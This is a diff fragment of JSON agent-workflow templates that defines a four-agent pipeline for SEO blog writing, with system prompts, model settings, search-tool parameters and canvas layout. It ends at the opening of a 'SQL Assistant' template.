"outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Balance", + "presencePenaltyEnabled": false, + "presence_penalty": 0.2, + "prompts": [ + { + "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Outline_Agent**, responsible for generating a clear and SEO-optimized blog outline based on the user's parsed writing intent and keyword strategy.\n\n# Tool Access:\n\n- You have access to a search tool called `Tavily Search`.\n\n- If you are unsure how to structure a section, you may call this tool to search for related blog outlines or content from Google.\n\n- Do not overuse it. Your job is to extract **structure**, not to write paragraphs.\n\n\n# Goals\n\n1. Create a well-structured outline with appropriate H2 and H3 headings.\n\n2. Ensure logical flow from introduction to conclusion.\n\n3. Assign 1\u20132 suggested long-tail keywords to each major section for SEO alignment.\n\n4. Make the structure suitable for downstream paragraph writing.\n\n\n\n\n#Note\n\n- Use concise, scannable section titles.\n\n- Do not write full paragraphs.\n\n- Prioritize clarity, logical progression, and SEO alignment.\n\n\n\n- If the blog type is \u201cTutorial\u201d or \u201cHow-to\u201d, include step-based sections.\n\n\n# Input\n\nYou will receive:\n\n- Writing Type (e.g., Tutorial, Informative Guide)\n\n- Target Audience\n\n- User Intent Summary\n\n- 3\u20135 long-tail keywords\n\n\nUse this information to design a structure that both informs readers and maximizes search engine visibility.\n\n# Output Format\n\n```markdown\n\n## Blog Title (suggested)\n\n[Give a short, SEO-friendly title suggestion]\n\n## Outline\n\n### Introduction\n\n- Purpose of the article\n\n- Brief context\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 1]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 2]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 3]\n\n- [Optional H3 Subsection Title A]\n\n - [Explanation of sub-point]\n\n- [Optional H3 Subsection Title B]\n\n - [Explanation of sub-point]\n\n- **Suggested keywords**: [keyword1]\n\n### Conclusion\n\n- Recap key takeaways\n\n- Optional CTA (Call to Action)\n\n- **Suggested keywords**: [keyword3]\n\n", + "temperature": 0.5, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "TavilySearch", + "name": "TavilySearch", + "params": { + "api_key": "", + "days": 7, + "exclude_domains": [], + "include_answer": false, + "include_domains": [], + "include_image_descriptions": false, + "include_images": false, + "include_raw_content": true, + "max_results": 5, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + }, + "json": { + "type": "Array", + "value": [] + } + }, + "query": "sys.query", + "search_depth": "basic", + "topic": "general" + } + } + ], + "topPEnabled": false, + "top_p": 0.85, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "Agent:ClearRabbitsScream" + ] + }, + "Agent:ClearRabbitsScream": { + "downstream": [ + "Agent:BetterSitesSend" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 1, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "The user query is {sys.query}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Parse_And_Keyword_Agent**, responsible for interpreting a user's blog writing request and generating a structured writing intent summary and keyword strategy for SEO-optimized content generation.\n\n# Goals\n\n1. Extract and infer the user's true writing intent, even if the input is informal or vague.\n\n2. Identify the writing type, target audience, and implied goal.\n\n3. Suggest 3\u20135 long-tail keywords based on the input and context.\n\n4. Output all data in a Markdown format for downstream agents.\n\n# Operating Guidelines\n\n\n- If the user's input lacks clarity, make reasonable and **conservative** assumptions based on SEO best practices.\n\n- Always choose one clear \"Writing Type\" from the list below.\n\n- Your job is not to write the blog \u2014 only to structure the brief.\n\n# Output Format\n\n```markdown\n## Writing Type\n\n[Choose one: Tutorial / Informative Guide / Marketing Content / Case Study / Opinion Piece / How-to / Comparison Article]\n\n## Target Audience\n\n[Try to be specific based on clues in the input: e.g., marketing managers, junior developers, SEO beginners]\n\n## User Intent Summary\n\n[A 1\u20132 sentence summary of what the user wants to achieve with the blog post]\n\n## Suggested Long-tail Keywords\n\n- keyword 1\n\n- keyword 2\n\n- keyword 3\n\n- keyword 4 (optional)\n\n- keyword 5 (optional)\n\n\n\n\n## Input Examples (and how to handle them)\n\nInput: \"I want to write about RAGFlow.\"\n\u2192 Output: Informative Guide, Audience: AI developers, Intent: explain what RAGFlow is and its use cases\n\nInput: \"Need a blog to promote our prompt design tool.\"\n\u2192 Output: Marketing Content, Audience: product managers or tool adopters, Intent: raise awareness and interest in the product\n\n\n\nInput: \"How to get more Google traffic using AI\"\n\u2192 Output: How-to, Audience: SEO marketers, Intent: guide readers on applying AI for SEO growth", + "temperature": 0.2, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "begin" + ] + }, + "Agent:EagerNailsRemain": { + "downstream": [ + "Agent:LovelyHeadsOwn" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 5, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}\n\n\n\nThe Outline agent output is {Agent:BetterSitesSend@content}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Body_Agent**, responsible for generating the full content of each section of an SEO-optimized blog based on the provided outline and keyword strategy.\n\n# Tool Access:\n\nYou can use the `Tavily Search` tool to retrieve relevant content, statistics, or examples to support each section you're writing.\n\nUse it **only** when the provided outline lacks enough information, or if the section requires factual grounding.\n\nAlways cite the original link or indicate source where possible.\n\n\n# Goals\n\n1. Write each section (based on H2/H3 structure) as a complete and natural blog paragraph.\n\n2. Integrate the suggested long-tail keywords naturally into each section.\n\n3. When appropriate, use the `Tavily Search` tool to enrich your writing with relevant facts, examples, or quotes.\n\n4. Ensure each section is clear, engaging, and informative, suitable for both human readers and search engines.\n\n\n# Style Guidelines\n\n- Write in a tone appropriate to the audience. Be explanatory, not promotional, unless it's a marketing blog.\n\n- Avoid generic filler content. Prioritize clarity, structure, and value.\n\n- Ensure SEO keywords are embedded seamlessly, not forcefully.\n\n\n\n- Maintain writing rhythm. Vary sentence lengths. Use transitions between ideas.\n\n\n# Input\n\n\nYou will receive:\n\n- Blog title\n\n- Structured outline (including section titles, keywords, and descriptions)\n\n- Target audience\n\n- Blog type and user intent\n\nYou must **follow the outline strictly**. Write content **section-by-section**, based on the structure.\n\n\n# Output Format\n\n```markdown\n\n## H2: [Section Title]\n\n[Your generated content for this section \u2014 500-600 words, using keywords naturally.]\n\n", + "temperature": 0.2, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "TavilySearch", + "name": "TavilySearch", + "params": { + "api_key": "", + "days": 7, + "exclude_domains": [], + "include_answer": false, + "include_domains": [], + "include_image_descriptions": false, + "include_images": false, + "include_raw_content": true, + "max_results": 5, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + }, + "json": { + "type": "Array", + "value": [] + } + }, + "query": "sys.query", + "search_depth": "basic", + "topic": "general" + } + } + ], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "Agent:BetterSitesSend" + ] + }, + "Agent:LovelyHeadsOwn": { + "downstream": [ + "Message:LegalBeansBet" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 5, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}\n\nThe Outline agent output is {Agent:BetterSitesSend@content}\n\nThe Body agent output is {Agent:EagerNailsRemain@content}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Editor_Agent**, responsible for finalizing the blog post for both human readability and SEO effectiveness.\n\n# Goals\n\n1. Polish the entire blog content for clarity, coherence, and style.\n\n2. Improve transitions between sections, ensure logical flow.\n\n3. Verify that keywords are used appropriately and effectively.\n\n4. Conduct a lightweight SEO audit \u2014 checking keyword density, structure (H1/H2/H3), and overall searchability.\n\n\n\n# Style Guidelines\n\n- Be precise. Avoid bloated or vague language.\n\n- Maintain an informative and engaging tone, suitable to the target audience.\n\n- Do not remove keywords unless absolutely necessary for clarity.\n\n- Ensure paragraph flow and section continuity.\n\n\n# Input\n\nYou will receive:\n\n- Full blog content, written section-by-section\n\n- Original outline with suggested keywords\n\n- Target audience and writing type\n\n# Output Format\n\n```markdown\n\n[The revised, fully polished blog post content goes here.]\n\n", + "temperature": 0.2, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "Agent:EagerNailsRemain" + ] + }, + "Message:LegalBeansBet": { + "downstream": [], + "obj": { + "component_name": "Message", + "params": { + "content": [ + "{Agent:LovelyHeadsOwn@content}" + ] + } + }, + "upstream": [ + "Agent:LovelyHeadsOwn" + ] + }, + "begin": { + "downstream": [ + "Agent:ClearRabbitsScream" + ], + "obj": { + "component_name": "Begin", + "params": { + "enablePrologue": true, + "inputs": {}, + "mode": "conversational", + "prologue": "Hi! I'm your SEO blog assistant.\n\nTo get started, please tell me:\n1. What topic you want the blog to cover\n2. Who is the target audience\n3. What you hope to achieve with this blog (e.g., SEO traffic, teaching beginners, promoting a product)\n" + } + }, + "upstream": [] + } + }, + "globals": { + "sys.conversation_turns": 0, + "sys.files": [], + "sys.query": "", + "sys.user_id": "" + }, + "graph": { + "edges": [ + { + "data": { + "isHovered": false + }, + "id": "xy-edge__beginstart-Agent:ClearRabbitsScreamend", + "source": "begin", + "sourceHandle": "start", + "target": "Agent:ClearRabbitsScream", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:ClearRabbitsScreamstart-Agent:BetterSitesSendend", + "source": "Agent:ClearRabbitsScream", + "sourceHandle": "start", + "target": "Agent:BetterSitesSend", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:BetterSitesSendtool-Tool:SharpPensBurnend", + "source": "Agent:BetterSitesSend", + "sourceHandle": "tool", + "target": "Tool:SharpPensBurn", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:BetterSitesSendstart-Agent:EagerNailsRemainend", + "source": "Agent:BetterSitesSend", + "sourceHandle": "start", + "target": "Agent:EagerNailsRemain", + "targetHandle": "end" + }, + { + "id": "xy-edge__Agent:EagerNailsRemaintool-Tool:WickedDeerHealend", + "source": "Agent:EagerNailsRemain", + "sourceHandle": "tool", + "target": "Tool:WickedDeerHeal", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:EagerNailsRemainstart-Agent:LovelyHeadsOwnend", + "source": "Agent:EagerNailsRemain", + "sourceHandle": "start", + "target": "Agent:LovelyHeadsOwn", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:LovelyHeadsOwnstart-Message:LegalBeansBetend", + "source": "Agent:LovelyHeadsOwn", + "sourceHandle": "start", + "target": "Message:LegalBeansBet", + "targetHandle": "end" + } + ], + "nodes": [ + { + "data": { + "form": { + "enablePrologue": true, + "inputs": {}, + "mode": "conversational", + "prologue": "Hi! I'm your SEO blog assistant.\n\nTo get started, please tell me:\n1. What topic you want the blog to cover\n2. Who is the target audience\n3. What you hope to achieve with this blog (e.g., SEO traffic, teaching beginners, promoting a product)\n" + }, + "label": "Begin", + "name": "begin" + }, + "id": "begin", + "measured": { + "height": 48, + "width": 200 + }, + "position": { + "x": 50, + "y": 200 + }, + "selected": false, + "sourcePosition": "left", + "targetPosition": "right", + "type": "beginNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 1, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "The user query is {sys.query}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Parse_And_Keyword_Agent**, responsible for interpreting a user's blog writing request and generating a structured writing intent summary and keyword strategy for SEO-optimized content generation.\n\n# Goals\n\n1. Extract and infer the user's true writing intent, even if the input is informal or vague.\n\n2. Identify the writing type, target audience, and implied goal.\n\n3. Suggest 3\u20135 long-tail keywords based on the input and context.\n\n4. Output all data in a Markdown format for downstream agents.\n\n# Operating Guidelines\n\n\n- If the user's input lacks clarity, make reasonable and **conservative** assumptions based on SEO best practices.\n\n- Always choose one clear \"Writing Type\" from the list below.\n\n- Your job is not to write the blog \u2014 only to structure the brief.\n\n# Output Format\n\n```markdown\n## Writing Type\n\n[Choose one: Tutorial / Informative Guide / Marketing Content / Case Study / Opinion Piece / How-to / Comparison Article]\n\n## Target Audience\n\n[Try to be specific based on clues in the input: e.g., marketing managers, junior developers, SEO beginners]\n\n## User Intent Summary\n\n[A 1\u20132 sentence summary of what the user wants to achieve with the blog post]\n\n## Suggested Long-tail Keywords\n\n- keyword 1\n\n- keyword 2\n\n- keyword 3\n\n- keyword 4 (optional)\n\n- keyword 5 (optional)\n\n\n\n\n## Input Examples (and how to handle them)\n\nInput: \"I want to write about RAGFlow.\"\n\u2192 Output: Informative Guide, Audience: AI developers, Intent: explain what RAGFlow is and its use cases\n\nInput: \"Need a blog to promote our prompt design tool.\"\n\u2192 Output: Marketing Content, Audience: product managers or tool adopters, Intent: raise awareness and interest in the product\n\n\n\nInput: \"How to get more Google traffic using AI\"\n\u2192 Output: How-to, Audience: SEO marketers, Intent: guide readers on applying AI for SEO growth", + "temperature": 0.2, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Parse And Keyword Agent" + }, + "dragging": false, + "id": "Agent:ClearRabbitsScream", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 344.7766966202233, + "y": 234.82202253184496 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.3, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 3, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Balance", + "presencePenaltyEnabled": false, + "presence_penalty": 0.2, + "prompts": [ + { + "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Outline_Agent**, responsible for generating a clear and SEO-optimized blog outline based on the user's parsed writing intent and keyword strategy.\n\n# Tool Access:\n\n- You have access to a search tool called `Tavily Search`.\n\n- If you are unsure how to structure a section, you may call this tool to search for related blog outlines or content from Google.\n\n- Do not overuse it. Your job is to extract **structure**, not to write paragraphs.\n\n\n# Goals\n\n1. Create a well-structured outline with appropriate H2 and H3 headings.\n\n2. Ensure logical flow from introduction to conclusion.\n\n3. Assign 1\u20132 suggested long-tail keywords to each major section for SEO alignment.\n\n4. Make the structure suitable for downstream paragraph writing.\n\n\n\n\n#Note\n\n- Use concise, scannable section titles.\n\n- Do not write full paragraphs.\n\n- Prioritize clarity, logical progression, and SEO alignment.\n\n\n\n- If the blog type is \u201cTutorial\u201d or \u201cHow-to\u201d, include step-based sections.\n\n\n# Input\n\nYou will receive:\n\n- Writing Type (e.g., Tutorial, Informative Guide)\n\n- Target Audience\n\n- User Intent Summary\n\n- 3\u20135 long-tail keywords\n\n\nUse this information to design a structure that both informs readers and maximizes search engine visibility.\n\n# Output Format\n\n```markdown\n\n## Blog Title (suggested)\n\n[Give a short, SEO-friendly title suggestion]\n\n## Outline\n\n### Introduction\n\n- Purpose of the article\n\n- Brief context\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 1]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 2]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 3]\n\n- [Optional H3 Subsection Title A]\n\n - [Explanation of sub-point]\n\n- [Optional H3 Subsection Title B]\n\n - [Explanation of sub-point]\n\n- **Suggested keywords**: [keyword1]\n\n### Conclusion\n\n- Recap key takeaways\n\n- Optional CTA (Call to Action)\n\n- **Suggested keywords**: [keyword3]\n\n", + "temperature": 0.5, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "TavilySearch", + "name": "TavilySearch", + "params": { + "api_key": "", + "days": 7, + "exclude_domains": [], + "include_answer": false, + "include_domains": [], + "include_image_descriptions": false, + "include_images": false, + "include_raw_content": true, + "max_results": 5, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + }, + "json": { + "type": "Array", + "value": [] + } + }, + "query": "sys.query", + "search_depth": "basic", + "topic": "general" + } + } + ], + "topPEnabled": false, + "top_p": 0.85, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Outline Agent" + }, + "dragging": false, + "id": "Agent:BetterSitesSend", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 613.4368763415628, + "y": 164.3074269048589 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "description": "This is an agent for a specific task.", + "user_prompt": "This is the order you need to send to the agent." + }, + "label": "Tool", + "name": "flow.tool_0" + }, + "dragging": false, + "id": "Tool:SharpPensBurn", + "measured": { + "height": 44, + "width": 200 + }, + "position": { + "x": 580.1877078861457, + "y": 287.7669662022325 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "toolNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 5, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}\n\n\n\nThe Outline agent output is {Agent:BetterSitesSend@content}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Body_Agent**, responsible for generating the full content of each section of an SEO-optimized blog based on the provided outline and keyword strategy.\n\n# Tool Access:\n\nYou can use the `Tavily Search` tool to retrieve relevant content, statistics, or examples to support each section you're writing.\n\nUse it **only** when the provided outline lacks enough information, or if the section requires factual grounding.\n\nAlways cite the original link or indicate source where possible.\n\n\n# Goals\n\n1. Write each section (based on H2/H3 structure) as a complete and natural blog paragraph.\n\n2. Integrate the suggested long-tail keywords naturally into each section.\n\n3. When appropriate, use the `Tavily Search` tool to enrich your writing with relevant facts, examples, or quotes.\n\n4. Ensure each section is clear, engaging, and informative, suitable for both human readers and search engines.\n\n\n# Style Guidelines\n\n- Write in a tone appropriate to the audience. Be explanatory, not promotional, unless it's a marketing blog.\n\n- Avoid generic filler content. Prioritize clarity, structure, and value.\n\n- Ensure SEO keywords are embedded seamlessly, not forcefully.\n\n\n\n- Maintain writing rhythm. Vary sentence lengths. Use transitions between ideas.\n\n\n# Input\n\n\nYou will receive:\n\n- Blog title\n\n- Structured outline (including section titles, keywords, and descriptions)\n\n- Target audience\n\n- Blog type and user intent\n\nYou must **follow the outline strictly**. Write content **section-by-section**, based on the structure.\n\n\n# Output Format\n\n```markdown\n\n## H2: [Section Title]\n\n[Your generated content for this section \u2014 500-600 words, using keywords naturally.]\n\n", + "temperature": 0.2, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "TavilySearch", + "name": "TavilySearch", + "params": { + "api_key": "", + "days": 7, + "exclude_domains": [], + "include_answer": false, + "include_domains": [], + "include_image_descriptions": false, + "include_images": false, + "include_raw_content": true, + "max_results": 5, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + }, + "json": { + "type": "Array", + "value": [] + } + }, + "query": "sys.query", + "search_depth": "basic", + "topic": "general" + } + } + ], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Body Agent" + }, + "dragging": false, + "id": "Agent:EagerNailsRemain", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 889.0614605692713, + "y": 247.00973041799065 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "description": "This is an agent for a specific task.", + "user_prompt": "This is the order you need to send to the agent." + }, + "label": "Tool", + "name": "flow.tool_1" + }, + "dragging": false, + "id": "Tool:WickedDeerHeal", + "measured": { + "height": 44, + "width": 200 + }, + "position": { + "x": 853.2006404239659, + "y": 364.37541577229143 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "toolNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 5, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}\n\nThe Outline agent output is {Agent:BetterSitesSend@content}\n\nThe Body agent output is {Agent:EagerNailsRemain@content}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Editor_Agent**, responsible for finalizing the blog post for both human readability and SEO effectiveness.\n\n# Goals\n\n1. Polish the entire blog content for clarity, coherence, and style.\n\n2. Improve transitions between sections, ensure logical flow.\n\n3. Verify that keywords are used appropriately and effectively.\n\n4. Conduct a lightweight SEO audit \u2014 checking keyword density, structure (H1/H2/H3), and overall searchability.\n\n\n\n# Style Guidelines\n\n- Be precise. Avoid bloated or vague language.\n\n- Maintain an informative and engaging tone, suitable to the target audience.\n\n- Do not remove keywords unless absolutely necessary for clarity.\n\n- Ensure paragraph flow and section continuity.\n\n\n# Input\n\nYou will receive:\n\n- Full blog content, written section-by-section\n\n- Original outline with suggested keywords\n\n- Target audience and writing type\n\n# Output Format\n\n```markdown\n\n[The revised, fully polished blog post content goes here.]\n\n", + "temperature": 0.2, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Editor Agent" + }, + "dragging": false, + "id": "Agent:LovelyHeadsOwn", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 1160.3332919804993, + "y": 149.50806732882472 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "content": [ + "{Agent:LovelyHeadsOwn@content}" + ] + }, + "label": "Message", + "name": "Response" + }, + "dragging": false, + "id": "Message:LegalBeansBet", + "measured": { + "height": 56, + "width": 200 + }, + "position": { + "x": 1370.6665839609984, + "y": 267.0323933738015 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "messageNode" + }, + { + "data": { + "form": { + "text": "This workflow automatically generates a complete SEO-optimized blog article based on a simple user input. You don\u2019t need any writing experience. Just provide a topic or short request \u2014 the system will handle the rest.\n\nThe process includes the following key stages:\n\n1. **Understanding your topic and goals**\n2. **Designing the blog structure**\n3. **Writing high-quality content**\n\n\n" + }, + "label": "Note", + "name": "Workflow Overall Description" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 205, + "id": "Note:SlimyGhostsWear", + "measured": { + "height": 205, + "width": 415 + }, + "position": { + "x": -284.3143151688742, + "y": 150.47632147913419 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 415 + }, + { + "data": { + "form": { + "text": "**Purpose**: \nThis agent reads the user\u2019s input and figures out what kind of blog needs to be written.\n\n**What it does**:\n- Understands the main topic you want to write about \n- Identifies who the blog is for (e.g., beginners, marketers, developers) \n- Determines the writing purpose (e.g., SEO traffic, product promotion, education) \n- Suggests 3\u20135 long-tail SEO keywords related to the topic" + }, + "label": "Note", + "name": "Parse And Keyword Agent" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 152, + "id": "Note:EmptyChairsShake", + "measured": { + "height": 152, + "width": 340 + }, + "position": { + "x": 295.04147626768133, + "y": 372.2755718118446 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 340 + }, + { + "data": { + "form": { + "text": "**Purpose**: \nThis agent builds the blog structure \u2014 just like writing a table of contents before you start writing the full article.\n\n**What it does**:\n- Suggests a clear blog title that includes important keywords \n- Breaks the article into sections using H2 and H3 headings (like a professional blog layout) \n- Assigns 1\u20132 recommended keywords to each section to help with SEO \n- Follows the writing goal and target audience set in the previous step" + }, + "label": "Note", + "name": "Outline Agent" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 146, + "id": "Note:TallMelonsNotice", + "measured": { + "height": 146, + "width": 343 + }, + "position": { + "x": 598.5644991893463, + "y": 5.801054564756448 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 343 + }, + { + "data": { + "form": { + "text": "**Purpose**: \nThis agent is responsible for writing the actual content of the blog \u2014 paragraph by paragraph \u2014 based on the outline created earlier.\n\n**What it does**:\n- Looks at each H2/H3 section in the outline \n- Writes 150\u2013220 words of clear, helpful, and well-structured content per section \n- Includes the suggested SEO keywords naturally (not keyword stuffing) \n- Uses real examples or facts if needed (by calling a web search tool like Tavily)" + }, + "label": "Note", + "name": "Body Agent" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 137, + "id": "Note:RipeCougarsBuild", + "measured": { + "height": 137, + "width": 319 + }, + "position": { + "x": 860.4854129814981, + "y": 427.2196835690842 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 319 + }, + { + "data": { + "form": { + "text": "**Purpose**: \nThis agent reviews the entire blog draft to make sure it is smooth, professional, and SEO-friendly. It acts like a human editor before publishing.\n\n**What it does**:\n- Polishes the writing: improves sentence clarity, fixes awkward phrasing \n- Makes sure the content flows well from one section to the next \n- Double-checks keyword usage: are they present, natural, and not overused? \n- Verifies the blog structure (H1, H2, H3 headings) is correct \n- Adds two key SEO elements:\n - **Meta Title** (shows up in search results)\n - **Meta Description** (summary for Google and social sharing)" + }, + "label": "Note", + "name": "Editor Agent" + }, + "dragHandle": ".note-drag-handle", + "height": 146, + "id": "Note:OpenTurkeysSell", + "measured": { + "height": 146, + "width": 320 + }, + "position": { + "x": 1129, + "y": -30 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 320 + } + ] + }, + "history": [], + "messages": [], + "path": [], + "retrieval": [] + }, + "avatar": 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+} diff --git a/agent/templates/sql_assistant.json b/agent/templates/sql_assistant.json new file mode 100644 index 0000000..27ac46e --- /dev/null +++ b/agent/templates/sql_assistant.json @@ -0,0 +1,716 @@ +{ + "id": 17, + "title": { + "en": "SQL Assistant", + "zh": "SQL助理"}, + "description": { + "en": "SQL Assistant is an AI-powered tool that lets business users turn plain-English questions into fully formed SQL queries. Simply type your question (e.g., “Show me last quarter’s top 10 products by revenue”) and SQL Assistant generates the exact SQL, runs it against your database, and returns the results in seconds. ", + "zh": "用户能够将简单文本问题转化为完整的SQL查询并输出结果。只需输入您的问题（例如，“展示上个季度前十名按收入排序的产品”），SQL助理就会生成精确的SQL语句，对其运行您的数据库，并几秒钟内返回结果。"}, + 